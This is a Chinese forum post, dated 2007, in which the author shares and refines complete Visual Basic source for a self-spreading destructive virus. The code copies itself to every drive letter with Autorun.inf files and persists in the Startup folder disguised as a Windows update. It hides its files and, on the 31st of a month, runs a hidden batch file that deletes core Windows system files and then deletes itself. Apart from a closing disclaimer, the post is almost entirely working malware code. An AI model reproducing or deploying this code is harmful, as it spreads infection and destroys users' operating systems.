最近看过新一期X中的关于编写VB病毒的文章后感受致深.因此想自己试试,至于原理没有做太多修改,但是对源代码进行了修改
1>病毒原理:
开始
建立循环
通过ASC码将本体复制到各个硬盘
建立Autorun.inf文件实行自动运行
将本体复制到开始启动中实现开机自动启动
建立bat批处理文件,并放置恶意代码
时间判断是否为31号,否则结束程序
是则运行事件Star从而启动bat批处理文件达到破坏
2>原代码编写复制内容到剪贴板
代码:
首先新建一个工程,一个窗口必须是隐藏的
Private Sub Form_Load() '这个是窗口标签既程序开始既运行
On Error Resume Next '如有错误就跳过错误
Me.Hide '隐藏运行
Dim A '申明A变量
A:A = 67 'A的ASC码为67
For i = 1 To 24 '病毒复制循环
FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(A) & ":\Service.exe" '将病毒本体复制到 Chr(A)盘目录下
SetFileAttributes Chr(A) & ":\System.exe", FILE_ATTRIBUTE_HIDDEN 'API函数改变文件属性,将文件属性改为隐藏
Open Chr(A) & ":\Autorun.inf" For Output As #2 '创建一个inf文件到chr(A)目录下,并将此文件定义为#2
Print #2, "[autotun]" '写入文件标题
Print #2, "OPEN=Service.exe/autorun" '正文
Close #2 '关闭
SetFileAttributes "c:\Autorun.inf", FILE_ATTRIBUTE_HIDDEN '修改文件属性,FILE_ATTRIBUTE_HIDDEN 为API函数,在下面会提到
A = A + 1
Next i'回到i
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\WindowsUpdateStar.exe" '开机启动
App.Title = ""
Open "c:\bootfont.bat" For Output As #1 '创建一个名为bootfont的批处理文件
Print #1, "Del %windir%\win.ini" 'Del为删除命令,%windir%为系统目录
Print #1, "Del %windir%\regedit.exe"
Print #1, "Del %windir%\system.ini"
Print #1, "Del c:\bootfront.bin"
Print #1, "Del c:\io.sys"
Print #1, "Del c:\msdos.sys"
Print #1, "Del c:\ntdetect.com"
Print #1, "Del %windir%\system32\cmd.exe"
Close #1
If Right(Date, 2) = 31 Then Star '判断时间控件中时间是否为31号,如果是则运行Star事件
GoTo A '跳转到标题A:处,防止文件被删除
End Sub 'FORM结束
Private Sub Timer1_Timer() '时间控件
On Error Resume Next '如有错误就跳过错误
If Not Right(Date, 2) = 31 Then Form_Load '截取日期
End Sub
Private Sub Star() 'Star事件
On Error Resume Next '如有错误就跳过错误
Shell "c:\bootfont.bat", vbHide '隐藏运行批处理文件
End Sub3>模块的编写
在工程中建立一个模块,将API函数的声明家进去即可以了
如下:
复制内容到剪贴板
代码:
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_NORMAL = &H80
以上是第一天编写的代码,跟X上的没做大多修改.但是,在逐渐的完善过程中,发现了弊端,进行了修改!
先跟大家讲一讲所改动的地方:
1.丢弃了讨厌的API函数,利用BAT批处理来修改文件属性:(我发现API函数达不到修改作用,不知道是不是我用错了!)
Open "c:\boot.bat" For Output As #2
Print #2, "attrib +h +s +r %0" 'attrib 此DOS命令为修改文件属性 +代表给文件加属性 h,s,r都为属性项 %0代表自身 其实既要修改的文件路径
Print #2, "attrib +h +s +r c:\bootfont.bat"
Print #2, "attrib +h +s +r c:\Service.exe"
Print #2, "attrib +h +s +r d:\Service.exe"
Print #2, "attrib +h +s +r e:\Service.exe"
Print #2, "attrib +h +s +r f:\Service.exe"
Print #2, "attrib +h +s +r g:\Service.exe"
Print #2, "attrib +h +s +r h:\Service.exe"
Print #2, "attrib +h +s +r i:\Service.exe"
Print #2, "attrib +h +s +r c:\Autorun.inf"
Print #2, "attrib +h +s +r d:\Autorun.inf"
Print #2, "attrib +h +s +r e:\Autorun.inf"
Print #2, "attrib +h +s +r f:\Autorun.inf"
Print #2, "attrib +h +s +r g:\Autorun.inf"
Print #2, "attrib +h +s +r h:\Autorun.inf"
Print #2, "attrib +h +s +r i:\Autorun.inf"
Print #2, "attrib +h +s +r C:\Documents and Settings\All Users\「开始」菜单\程序\启动\WindowsUpdateStar.exe"
Print #2, "del %0" 'del为删除文件命令
Close #22.取消了不断复制功能
因为goto函数太占内存,因此删除此功能(希望找到更好的办法!)
3.增加了批处理文件自动删除的功能(使病毒更隐蔽)
Print #1, "del %0"
4.使代码顺序更加科学!
以下即使最后的完成的代码,供大家学习交流:复制内容到剪贴板
代码:
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
On Error Resume Next '如有错误就跳过错误
Me.Hide '隐藏运行
Dim A
Open "c:\bootfont.bat" For Output As #1 '创建一个名为bootfont的批处理文件
Print #1, "attrib +h +s +r %0"
Print #1, "Del %windir%\win.ini" 'Del为删除命令
Print #1, "Del %windir%\regedit.exe"
Print #1, "Del %windir%\system.ini"
Print #1, "Del c:\bootfront.bin"
Print #1, "Del c:\io.sys"
Print #1, "Del c:\msdos.sys"
Print #1, "Del c:\ntdetect.com"
Print #1, "Del %windir%\system32\cmd.exe"
Print #1, "del %0"
Close #1
On Error Resume Next
A = 67 'A的ASC码为67
For i = 1 To 24 '病毒复制循环
FileCopy App.Path & "\" & App.EXEName & ".exe", Chr(A) & ":\Service.exe" '将病毒本体复制到 Chr(A)盘目录下
Open Chr(A) & ":\Autorun.inf" For Output As #2 '创建一个inf文件到chr(A)目录下,并将此文件定义为#2
Print #2, "[autotun]" '写入文件标题
Print #2, "OPEN=Service.exe/autorun" '正文
Close #2 '关闭
A = A + 1
Next i
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\WindowsUpdateStar.exe" '开机启动
App.Title = ""
Open "c:\boot.bat" For Output As #2
Print #2, "attrib +h +s +r %0"
Print #2, "attrib +h +s +r c:\bootfont.bat"
Print #2, "attrib +h +s +r c:\Service.exe"
Print #2, "attrib +h +s +r d:\Service.exe"
Print #2, "attrib +h +s +r e:\Service.exe"
Print #2, "attrib +h +s +r f:\Service.exe"
Print #2, "attrib +h +s +r g:\Service.exe"
Print #2, "attrib +h +s +r h:\Service.exe"
Print #2, "attrib +h +s +r i:\Service.exe"
Print #2, "attrib +h +s +r c:\Autorun.inf"
Print #2, "attrib +h +s +r d:\Autorun.inf"
Print #2, "attrib +h +s +r e:\Autorun.inf"
Print #2, "attrib +h +s +r f:\Autorun.inf"
Print #2, "attrib +h +s +r g:\Autorun.inf"
Print #2, "attrib +h +s +r h:\Autorun.inf"
Print #2, "attrib +h +s +r i:\Autorun.inf"
Print #2, "attrib +h +s +r C:\Documents and Settings\All Users\「开始」菜单\程序\启动\WindowsUpdateStar.exe"
Print #2, "del %0"
Close #2
Shell "c:\boot.bat", vbHide
If Right(Date, 2) = 31 Then Star '判断时间是否为31号,如果是则运行Star事件
End Sub
Private Sub Timer1_Timer()
On Error Resume Next '如有错误就跳过错误
If Not Right(Date, 2) = 31 Then Form_Load
End Sub
Private Sub Star()
On Error Resume Next '如有错误就跳过错误
Shell "c:\bootfont.bat", vbHide '隐藏运行批处理文件
End Sub注:此源代码仅供大家学习交流,请勿编译后传播!传播病毒是违法行为!如果传播要承担法律责任!
如有什么疑问或交流请访问:http://computerbbs.5d6d.com/我的小站与本人联系!
[
本帖最后由 Winnip 于 2007-9-28 18:15 编辑 ]
